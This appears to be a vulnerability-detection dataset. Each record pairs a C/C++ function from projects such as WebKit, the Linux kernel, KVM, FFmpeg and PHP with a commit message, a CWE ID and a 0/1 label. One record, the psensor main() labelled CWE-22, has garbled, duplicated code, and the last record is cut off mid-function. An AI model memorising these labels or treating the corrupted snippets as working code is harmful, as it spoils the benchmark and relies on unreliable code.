Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebPagePrivate::clearDocumentData(const Document* documentGoingAway)
{
ASSERT(documentGoingAway);
if (m_currentContextNode && m_currentContextNode->document() == documentGoingAway)
m_currentContextNode = 0;
if (m_currentPinchZoomNode && m_currentPinchZoomNode->document() == documentGoingAway)
m_currentPinchZoomNode = 0;
if (m_currentBlockZoomAdjustedNode && m_currentBlockZoomAdjustedNode->document() == documentGoingAway)
m_currentBlockZoomAdjustedNode = 0;
if (m_inRegionScroller->d->isActive())
m_inRegionScroller->d->clearDocumentData(documentGoingAway);
if (documentGoingAway->frame())
m_inputHandler->frameUnloaded(documentGoingAway->frame());
Node* nodeUnderFatFinger = m_touchEventHandler->lastFatFingersResult().node();
if (nodeUnderFatFinger && nodeUnderFatFinger->document() == documentGoingAway)
m_touchEventHandler->resetLastFatFingersResult();
}
Commit Message: [BlackBerry] Adapt to new BlackBerry::Platform::TouchPoint API
https://bugs.webkit.org/show_bug.cgi?id=105143
RIM PR 171941
Reviewed by Rob Buis.
Internally reviewed by George Staikos.
Source/WebCore:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit.
Also adapt to new method names and encapsulation of TouchPoint data
members.
No change in behavior, no new tests.
* platform/blackberry/PlatformTouchPointBlackBerry.cpp:
(WebCore::PlatformTouchPoint::PlatformTouchPoint):
Source/WebKit/blackberry:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit. One exception
is when passing events to a full screen plugin.
Also adapt to new method names and encapsulation of TouchPoint data
members.
* Api/WebPage.cpp:
(BlackBerry::WebKit::WebPage::touchEvent):
(BlackBerry::WebKit::WebPage::touchPointAsMouseEvent):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchEventToFullScreenPlugin):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchPointAsMouseEventToFullScreenPlugin):
* WebKitSupport/InputHandler.cpp:
(BlackBerry::WebKit::InputHandler::shouldRequestSpellCheckingOptionsForPoint):
* WebKitSupport/InputHandler.h:
(InputHandler):
* WebKitSupport/TouchEventHandler.cpp:
(BlackBerry::WebKit::TouchEventHandler::doFatFingers):
(BlackBerry::WebKit::TouchEventHandler::handleTouchPoint):
* WebKitSupport/TouchEventHandler.h:
(TouchEventHandler):
Tools:
Adapt to new method names and encapsulation of TouchPoint data members.
* DumpRenderTree/blackberry/EventSender.cpp:
(addTouchPointCallback):
(updateTouchPointCallback):
(touchEndCallback):
(releaseTouchPointCallback):
(sendTouchEvent):
git-svn-id: svn://svn.chromium.org/blink/trunk@137880 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | 0 | 104,139 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: xsltFreeExtData(xsltExtDataPtr ext)
{
if (ext == NULL)
return;
xmlFree(ext);
}
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338}
CWE ID: CWE-119 | 0 | 156,686 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: status_t OMXNodeInstance::storeMetaDataInBuffers_l(
OMX_U32 portIndex, OMX_BOOL enable, MetadataBufferType *type) {
if (mSailed) {
android_errorWriteLog(0x534e4554, "29422020");
return INVALID_OPERATION;
}
if (portIndex != kPortIndexInput && portIndex != kPortIndexOutput) {
android_errorWriteLog(0x534e4554, "26324358");
if (type != NULL) {
*type = kMetadataBufferTypeInvalid;
}
return BAD_VALUE;
}
OMX_INDEXTYPE index;
OMX_STRING name = const_cast<OMX_STRING>(
"OMX.google.android.index.storeMetaDataInBuffers");
OMX_STRING nativeBufferName = const_cast<OMX_STRING>(
"OMX.google.android.index.storeANWBufferInMetadata");
MetadataBufferType negotiatedType;
MetadataBufferType requestedType = type != NULL ? *type : kMetadataBufferTypeANWBuffer;
StoreMetaDataInBuffersParams params;
InitOMXParams(¶ms);
params.nPortIndex = portIndex;
params.bStoreMetaData = enable;
OMX_ERRORTYPE err =
requestedType == kMetadataBufferTypeANWBuffer
? OMX_GetExtensionIndex(mHandle, nativeBufferName, &index)
: OMX_ErrorUnsupportedIndex;
OMX_ERRORTYPE xerr = err;
if (err == OMX_ErrorNone) {
err = OMX_SetParameter(mHandle, index, ¶ms);
if (err == OMX_ErrorNone) {
name = nativeBufferName; // set name for debugging
negotiatedType = requestedType;
}
}
if (err != OMX_ErrorNone) {
err = OMX_GetExtensionIndex(mHandle, name, &index);
xerr = err;
if (err == OMX_ErrorNone) {
negotiatedType =
requestedType == kMetadataBufferTypeANWBuffer
? kMetadataBufferTypeGrallocSource : requestedType;
err = OMX_SetParameter(mHandle, index, ¶ms);
}
}
if (err != OMX_ErrorNone) {
if (err == OMX_ErrorUnsupportedIndex && portIndex == kPortIndexOutput) {
CLOGW("component does not support metadata mode; using fallback");
} else if (xerr != OMX_ErrorNone) {
CLOG_ERROR(getExtensionIndex, xerr, "%s", name);
} else {
CLOG_ERROR(setParameter, err, "%s(%#x): %s:%u en=%d type=%d", name, index,
portString(portIndex), portIndex, enable, negotiatedType);
}
negotiatedType = mMetadataType[portIndex];
} else {
if (!enable) {
negotiatedType = kMetadataBufferTypeInvalid;
}
mMetadataType[portIndex] = negotiatedType;
}
CLOG_CONFIG(storeMetaDataInBuffers, "%s:%u %srequested %s:%d negotiated %s:%d",
portString(portIndex), portIndex, enable ? "" : "UN",
asString(requestedType), requestedType, asString(negotiatedType), negotiatedType);
if (type != NULL) {
*type = negotiatedType;
}
return StatusFromOMXError(err);
}
Commit Message: IOMX: allow configuration after going to loaded state
This was disallowed recently but we still use it as MediaCodcec.stop
only goes to loaded state, and does not free component.
Bug: 31450460
Change-Id: I72e092e4e55c9f23b1baee3e950d76e84a5ef28d
(cherry picked from commit e03b22839d78c841ce0a1a0a1ee1960932188b0b)
CWE ID: CWE-200 | 0 | 157,747 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int handle_cr(struct kvm_vcpu *vcpu)
{
unsigned long exit_qualification, val;
int cr;
int reg;
int err;
exit_qualification = vmcs_readl(EXIT_QUALIFICATION);
cr = exit_qualification & 15;
reg = (exit_qualification >> 8) & 15;
switch ((exit_qualification >> 4) & 3) {
case 0: /* mov to cr */
val = kvm_register_read(vcpu, reg);
trace_kvm_cr_write(cr, val);
switch (cr) {
case 0:
err = handle_set_cr0(vcpu, val);
kvm_complete_insn_gp(vcpu, err);
return 1;
case 3:
err = kvm_set_cr3(vcpu, val);
kvm_complete_insn_gp(vcpu, err);
return 1;
case 4:
err = handle_set_cr4(vcpu, val);
kvm_complete_insn_gp(vcpu, err);
return 1;
case 8: {
u8 cr8_prev = kvm_get_cr8(vcpu);
u8 cr8 = kvm_register_read(vcpu, reg);
err = kvm_set_cr8(vcpu, cr8);
kvm_complete_insn_gp(vcpu, err);
if (irqchip_in_kernel(vcpu->kvm))
return 1;
if (cr8_prev <= cr8)
return 1;
vcpu->run->exit_reason = KVM_EXIT_SET_TPR;
return 0;
}
}
break;
case 2: /* clts */
handle_clts(vcpu);
trace_kvm_cr_write(0, kvm_read_cr0(vcpu));
skip_emulated_instruction(vcpu);
vmx_fpu_activate(vcpu);
return 1;
case 1: /*mov from cr*/
switch (cr) {
case 3:
val = kvm_read_cr3(vcpu);
kvm_register_write(vcpu, reg, val);
trace_kvm_cr_read(cr, val);
skip_emulated_instruction(vcpu);
return 1;
case 8:
val = kvm_get_cr8(vcpu);
kvm_register_write(vcpu, reg, val);
trace_kvm_cr_read(cr, val);
skip_emulated_instruction(vcpu);
return 1;
}
break;
case 3: /* lmsw */
val = (exit_qualification >> LMSW_SOURCE_DATA_SHIFT) & 0x0f;
trace_kvm_cr_write(0, (kvm_read_cr0(vcpu) & ~0xful) | val);
kvm_lmsw(vcpu, val);
skip_emulated_instruction(vcpu);
return 1;
default:
break;
}
vcpu->run->exit_reason = 0;
vcpu_unimpl(vcpu, "unhandled control register: op %d cr %d\n",
(int)(exit_qualification >> 4) & 3, cr);
return 0;
}
Commit Message: nEPT: Nested INVEPT
If we let L1 use EPT, we should probably also support the INVEPT instruction.
In our current nested EPT implementation, when L1 changes its EPT table
for L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in
the course of this modification already calls INVEPT. But if last level
of shadow page is unsync not all L1's changes to EPT12 are intercepted,
which means roots need to be synced when L1 calls INVEPT. Global INVEPT
should not be different since roots are synced by kvm_mmu_load() each
time EPTP02 changes.
Reviewed-by: Xiao Guangrong <xiaoguangrong@linux.vnet.ibm.com>
Signed-off-by: Nadav Har'El <nyh@il.ibm.com>
Signed-off-by: Jun Nakajima <jun.nakajima@intel.com>
Signed-off-by: Xinhao Xu <xinhao.xu@intel.com>
Signed-off-by: Yang Zhang <yang.z.zhang@Intel.com>
Signed-off-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20 | 0 | 37,623 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int nlmsg_populate_fdb_fill(struct sk_buff *skb,
struct net_device *dev,
u8 *addr, u16 vid, u32 pid, u32 seq,
int type, unsigned int flags,
int nlflags, u16 ndm_state)
{
struct nlmsghdr *nlh;
struct ndmsg *ndm;
nlh = nlmsg_put(skb, pid, seq, type, sizeof(*ndm), nlflags);
if (!nlh)
return -EMSGSIZE;
ndm = nlmsg_data(nlh);
ndm->ndm_family = AF_BRIDGE;
ndm->ndm_pad1 = 0;
ndm->ndm_pad2 = 0;
ndm->ndm_flags = flags;
ndm->ndm_type = 0;
ndm->ndm_ifindex = dev->ifindex;
ndm->ndm_state = ndm_state;
if (nla_put(skb, NDA_LLADDR, ETH_ALEN, addr))
goto nla_put_failure;
if (vid)
if (nla_put(skb, NDA_VLAN, sizeof(u16), &vid))
goto nla_put_failure;
nlmsg_end(skb, nlh);
return 0;
nla_put_failure:
nlmsg_cancel(skb, nlh);
return -EMSGSIZE;
}
Commit Message: net: fix infoleak in rtnetlink
The stack object “map” has a total size of 32 bytes. Its last 4
bytes are padding generated by compiler. These padding bytes are
not initialized and sent out via “nla_put”.
Signed-off-by: Kangjie Lu <kjlu@gatech.edu>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200 | 0 | 53,132 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int main(int argc, char *argv[])
{
struct MHD_Daemon *d;
int port, opti, optc, cmdok, ret, slog_interval;
char *log_file, *slog_file;
program_name = argv[0];
setlocale(LC_ALL, "");
#if ENABLE_NLS
bindtextdomain(PACKAGE, LOCALEDIR);
textdomain(PACKAGE);
#endif
server_data.www_dir = NULL;
#ifdef HAVE_GTOP
server_data.psysinfo.interfaces = NULL;
#endif
log_file = NULL;
slog_file = NULL;
slog_interval = 300;
port = DEFAULT_PORT;
cmdok = 1;
while ((optc = getopt_long(argc,
argv,
"vhp:w:d:l:",
long_options,
&opti)) != -1) {
switch (optc) {
case 'w':
if (optarg)
server_data.www_dir = strdup(optarg);
break;
case 'p':
if (optarg)
port = atoi(optarg);
break;
case 'h':
print_help();
switch (optc) {
case 'w':
if (optarg)
server_data.www_dir = strdup(optarg);
break;
case 'p':
if (optarg)
break;
case 'l':
if (optarg)
log_file = strdup(optarg);
break;
case 0:
if (!strcmp(long_options[opti].name, "sensor-log-file"))
slog_file = strdup(optarg);
else if (!strcmp(long_options[opti].name,
"sensor-log-interval"))
slog_interval = atoi(optarg);
break;
default:
cmdok = 0;
break;
}
}
if (!cmdok || optind != argc) {
fprintf(stderr, _("Try `%s --help' for more information.\n"),
program_name);
exit(EXIT_FAILURE);
}
if (!server_data.www_dir)
server_data.www_dir = strdup(DEFAULT_WWW_DIR);
if (!log_file)
log_file = strdup(DEFAULT_LOG_FILE);
pmutex_init(&mutex);
exit(EXIT_FAILURE);
}
if (!server_data.www_dir)
server_data.www_dir = strdup(DEFAULT_WWW_DIR);
if (!log_file)
log_file = strdup(DEFAULT_LOG_FILE);
port,
NULL, NULL, &cbk_http_request, server_data.sensors,
MHD_OPTION_END);
if (!d) {
log_err(_("Failed to create Web server."));
exit(EXIT_FAILURE);
}
log_info(_("Web server started on port: %d"), port);
log_info(_("WWW directory: %s"), server_data.www_dir);
log_info(_("URL: http://localhost:%d"), port);
if (slog_file) {
if (slog_interval <= 0)
slog_interval = 300;
ret = slog_activate(slog_file,
server_data.sensors,
&mutex,
slog_interval);
if (!ret)
log_err(_("Failed to activate logging of sensors."));
}
while (!server_stop_requested) {
pmutex_lock(&mutex);
#ifdef HAVE_GTOP
sysinfo_update(&server_data.psysinfo);
cpu_usage_sensor_update(server_data.cpu_usage);
#endif
#ifdef HAVE_ATASMART
atasmart_psensor_list_update(server_data.sensors);
#endif
hddtemp_psensor_list_update(server_data.sensors);
lmsensor_psensor_list_update(server_data.sensors);
psensor_log_measures(server_data.sensors);
pmutex_unlock(&mutex);
sleep(5);
}
slog_close();
MHD_stop_daemon(d);
/* sanity cleanup for valgrind */
psensor_list_free(server_data.sensors);
#ifdef HAVE_GTOP
psensor_free(server_data.cpu_usage);
#endif
free(server_data.www_dir);
lmsensor_cleanup();
#ifdef HAVE_GTOP
sysinfo_cleanup();
#endif
if (log_file != DEFAULT_LOG_FILE)
free(log_file);
return EXIT_SUCCESS;
}
Commit Message:
CWE ID: CWE-22 | 1 | 165,510 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int __init sha1_ssse3_mod_init(void)
{
char *algo_name;
/* test for SSSE3 first */
if (cpu_has_ssse3) {
sha1_transform_asm = sha1_transform_ssse3;
algo_name = "SSSE3";
}
#ifdef CONFIG_AS_AVX
/* allow AVX to override SSSE3, it's a little faster */
if (avx_usable()) {
sha1_transform_asm = sha1_transform_avx;
algo_name = "AVX";
#ifdef CONFIG_AS_AVX2
/* allow AVX2 to override AVX, it's a little faster */
if (avx2_usable()) {
sha1_transform_asm = sha1_apply_transform_avx2;
algo_name = "AVX2";
}
#endif
}
#endif
if (sha1_transform_asm) {
pr_info("Using %s optimized SHA-1 implementation\n", algo_name);
return crypto_register_shash(&alg);
}
pr_info("Neither AVX nor AVX2 nor SSSE3 is available/usable.\n");
return -ENODEV;
}
Commit Message: crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <keescook@chromium.org>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264 | 0 | 47,037 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: idmap_pipe_destroy_msg(struct rpc_pipe_msg *msg)
{
struct idmap_legacy_upcalldata *data = container_of(msg,
struct idmap_legacy_upcalldata,
pipe_msg);
struct idmap *idmap = data->idmap;
if (msg->errno)
nfs_idmap_abort_pipe_upcall(idmap, msg->errno);
}
Commit Message: KEYS: Remove key_type::match in favour of overriding default by match_preparse
A previous patch added a ->match_preparse() method to the key type. This is
allowed to override the function called by the iteration algorithm.
Therefore, we can just set a default that simply checks for an exact match of
the key description with the original criterion data and allow match_preparse
to override it as needed.
The key_type::match op is then redundant and can be removed, as can the
user_match() function.
Signed-off-by: David Howells <dhowells@redhat.com>
Acked-by: Vivek Goyal <vgoyal@redhat.com>
CWE ID: CWE-476 | 0 | 69,441 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: nlmsvc_notify_blocked(struct file_lock *fl)
{
struct nlm_block *block;
dprintk("lockd: VFS unblock notification for block %p\n", fl);
spin_lock(&nlm_blocked_lock);
list_for_each_entry(block, &nlm_blocked, b_list) {
if (nlm_compare_locks(&block->b_call->a_args.lock.fl, fl)) {
nlmsvc_insert_block_locked(block, 0);
spin_unlock(&nlm_blocked_lock);
svc_wake_up(block->b_daemon);
return;
}
}
spin_unlock(&nlm_blocked_lock);
printk(KERN_WARNING "lockd: notification for unknown block!\n");
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404 | 0 | 65,227 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void add_assoc_name_entry(zval * val, char * key, X509_NAME * name, int shortname TSRMLS_DC) /* {{{ */
{
zval **data;
zval *subitem, *subentries;
int i;
char *sname;
int nid;
X509_NAME_ENTRY * ne;
ASN1_STRING * str = NULL;
ASN1_OBJECT * obj;
if (key != NULL) {
MAKE_STD_ZVAL(subitem);
array_init(subitem);
} else {
subitem = val;
}
for (i = 0; i < X509_NAME_entry_count(name); i++) {
unsigned char *to_add;
int to_add_len = 0;
ne = X509_NAME_get_entry(name, i);
obj = X509_NAME_ENTRY_get_object(ne);
nid = OBJ_obj2nid(obj);
if (shortname) {
sname = (char *) OBJ_nid2sn(nid);
} else {
sname = (char *) OBJ_nid2ln(nid);
}
str = X509_NAME_ENTRY_get_data(ne);
if (ASN1_STRING_type(str) != V_ASN1_UTF8STRING) {
to_add_len = ASN1_STRING_to_UTF8(&to_add, str);
} else {
to_add = ASN1_STRING_data(str);
to_add_len = ASN1_STRING_length(str);
}
if (to_add_len != -1) {
if (zend_hash_find(Z_ARRVAL_P(subitem), sname, strlen(sname)+1, (void**)&data) == SUCCESS) {
if (Z_TYPE_PP(data) == IS_ARRAY) {
subentries = *data;
add_next_index_stringl(subentries, (char *)to_add, to_add_len, 1);
} else if (Z_TYPE_PP(data) == IS_STRING) {
MAKE_STD_ZVAL(subentries);
array_init(subentries);
add_next_index_stringl(subentries, Z_STRVAL_PP(data), Z_STRLEN_PP(data), 1);
add_next_index_stringl(subentries, (char *)to_add, to_add_len, 1);
zend_hash_update(Z_ARRVAL_P(subitem), sname, strlen(sname)+1, &subentries, sizeof(zval*), NULL);
}
} else {
add_assoc_stringl(subitem, sname, (char *)to_add, to_add_len, 1);
}
}
}
if (key != NULL) {
zend_hash_update(HASH_OF(val), key, strlen(key) + 1, (void *)&subitem, sizeof(subitem), NULL);
}
}
/* }}} */
Commit Message:
CWE ID: CWE-754 | 0 | 4,676 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PassRefPtr<ProcessingInstruction> Document::createProcessingInstruction(const String& target, const String& data, ExceptionCode& ec)
{
if (!isValidName(target)) {
ec = INVALID_CHARACTER_ERR;
return 0;
}
if (isHTMLDocument()) {
ec = NOT_SUPPORTED_ERR;
return 0;
}
return ProcessingInstruction::create(this, target, data);
}
Commit Message: Unreviewed, rolling out r147402.
http://trac.webkit.org/changeset/147402
https://bugs.webkit.org/show_bug.cgi?id=112903
Source/WebCore:
* dom/Document.cpp:
(WebCore::Document::processHttpEquiv):
* loader/DocumentLoader.cpp:
(WebCore::DocumentLoader::responseReceived):
LayoutTests:
* http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag.html:
* http/tests/security/XFrameOptions/x-frame-options-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny.html:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
git-svn-id: svn://svn.chromium.org/blink/trunk@147450 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 105,476 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void testFrameFinalizedByTaskObserver2()
{
EXPECT_EQ(3, m_fakeImageBufferClient->frameCount());
expectDisplayListEnabled(false);
m_testSurface->getPicture();
EXPECT_EQ(3, m_fakeImageBufferClient->frameCount());
expectDisplayListEnabled(false);
m_fakeImageBufferClient->fakeDraw();
EXPECT_EQ(3, m_fakeImageBufferClient->frameCount());
expectDisplayListEnabled(false);
}
Commit Message: Add assertions that the empty Platform::cryptographicallyRandomValues() overrides are not being used.
These implementations are not safe and look scary if not accompanied by an assertion. Also one of the comments was incorrect.
BUG=552749
Review URL: https://codereview.chromium.org/1419293005
Cr-Commit-Position: refs/heads/master@{#359229}
CWE ID: CWE-310 | 0 | 132,434 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void OxideQQuickWebViewPrivate::HttpAuthenticationRequested(
OxideQHttpAuthenticationRequest* authentication_request) {
Q_Q(OxideQQuickWebView);
QQmlEngine* engine = qmlEngine(q);
if (!engine) {
delete authentication_request;
return;
}
{
QJSValue val = engine->newQObject(authentication_request);
if (!val.isQObject()) {
delete authentication_request;
return;
}
emit q->httpAuthenticationRequested(val);
}
engine->collectGarbage();
}
Commit Message:
CWE ID: CWE-20 | 0 | 17,039 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: xdr_krb5_string_attr(XDR *xdrs, krb5_string_attr *objp)
{
if (!xdr_nullstring(xdrs, &objp->key))
return FALSE;
if (!xdr_nullstring(xdrs, &objp->value))
return FALSE;
if (xdrs->x_op == XDR_DECODE &&
(objp->key == NULL || objp->value == NULL))
return FALSE;
return TRUE;
}
Commit Message: Fix kadm5/gssrpc XDR double free [CVE-2014-9421]
[MITKRB5-SA-2015-001] In auth_gssapi_unwrap_data(), do not free
partial deserialization results upon failure to deserialize. This
responsibility belongs to the callers, svctcp_getargs() and
svcudp_getargs(); doing it in the unwrap function results in freeing
the results twice.
In xdr_krb5_tl_data() and xdr_krb5_principal(), null out the pointers
we are freeing, as other XDR functions such as xdr_bytes() and
xdr_string().
ticket: 8056 (new)
target_version: 1.13.1
tags: pullup
CWE ID: | 0 | 46,077 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: main (int argc, char *argv[])
{
Object info;
GBool ok;
int exitCode;
exitCode = 99;
ok = parseArgs (argDesc, &argc, argv);
if (!ok || argc != 3 || printVersion || printHelp)
{
fprintf (stderr, "pdfseparate version %s\n", PACKAGE_VERSION);
fprintf (stderr, "%s\n", popplerCopyright);
fprintf (stderr, "%s\n", xpdfCopyright);
if (!printVersion)
{
printUsage ("pdfseparate", "<PDF-sourcefile> <PDF-pattern-destfile>",
argDesc);
}
if (printVersion || printHelp)
exitCode = 0;
goto err0;
}
globalParams = new GlobalParams();
ok = extractPages (argv[1], argv[2]);
if (ok) {
exitCode = 0;
}
delete globalParams;
err0:
return exitCode;
}
Commit Message:
CWE ID: CWE-119 | 0 | 1,807 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: error::Error GLES2DecoderPassthroughImpl::DoGenerateMipmap(GLenum target) {
api()->glGenerateMipmapEXTFn(target);
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416 | 0 | 141,979 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int asf_read_ext_content_desc(AVFormatContext *s, int64_t size)
{
AVIOContext *pb = s->pb;
ASFContext *asf = s->priv_data;
int desc_count, i, ret;
desc_count = avio_rl16(pb);
for (i = 0; i < desc_count; i++) {
int name_len, value_type, value_len;
char name[1024];
name_len = avio_rl16(pb);
if (name_len % 2) // must be even, broken lavf versions wrote len-1
name_len += 1;
if ((ret = avio_get_str16le(pb, name_len, name, sizeof(name))) < name_len)
avio_skip(pb, name_len - ret);
value_type = avio_rl16(pb);
value_len = avio_rl16(pb);
if (!value_type && value_len % 2)
value_len += 1;
/* My sample has that stream set to 0 maybe that mean the container.
* ASF stream count starts at 1. I am using 0 to the container value
* since it's unused. */
if (!strcmp(name, "AspectRatioX"))
asf->dar[0].num = get_value(s->pb, value_type, 32);
else if (!strcmp(name, "AspectRatioY"))
asf->dar[0].den = get_value(s->pb, value_type, 32);
else
get_tag(s, name, value_type, value_len, 32);
}
return 0;
}
Commit Message: avformat/asfdec: Fix DoS in asf_build_simple_index()
Fixes: Missing EOF check in loop
No testcase
Found-by: Xiaohei and Wangchu from Alibaba Security Team
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-399 | 0 | 61,351 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void CLASS nikon_3700()
{
int bits, i;
uchar dp[24];
static const struct {
int bits;
char make[12], model[15];
} table[] = {
{ 0x00, "PENTAX", "Optio 33WR" },
{ 0x03, "NIKON", "E3200" },
{ 0x32, "NIKON", "E3700" },
{ 0x33, "OLYMPUS", "C740UZ" } };
fseek (ifp, 3072, SEEK_SET);
fread (dp, 1, 24, ifp);
bits = (dp[8] & 3) << 4 | (dp[20] & 3);
for (i=0; i < (int) sizeof table / (int) sizeof *table; i++)
if (bits == table[i].bits) {
strcpy (make, table[i].make );
strcpy (model, table[i].model);
}
}
Commit Message: Avoid overflow in ljpeg_start().
CWE ID: CWE-189 | 0 | 43,324 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: PHP_FUNCTION(pg_field_table)
{
zval *result;
pgsql_result_handle *pg_result;
long fnum = -1;
zend_bool return_oid = 0;
Oid oid;
smart_str hash_key = {0};
char *table_name;
zend_rsrc_list_entry *field_table;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl|b", &result, &fnum, &return_oid) == FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(pg_result, pgsql_result_handle *, &result, -1, "PostgreSQL result", le_result);
if (fnum < 0 || fnum >= PQnfields(pg_result->result)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Bad field offset specified");
RETURN_FALSE;
}
oid = PQftable(pg_result->result, fnum);
if (InvalidOid == oid) {
RETURN_FALSE;
}
if (return_oid) {
#if UINT_MAX > LONG_MAX /* Oid is unsigned int, we don't need this code, where LONG is wider */
if (oid > LONG_MAX) {
smart_str oidstr = {0};
smart_str_append_unsigned(&oidstr, oid);
smart_str_0(&oidstr);
RETURN_STRINGL(oidstr.c, oidstr.len, 0);
} else
#endif
RETURN_LONG((long)oid);
}
/* try to lookup the table name in the resource list */
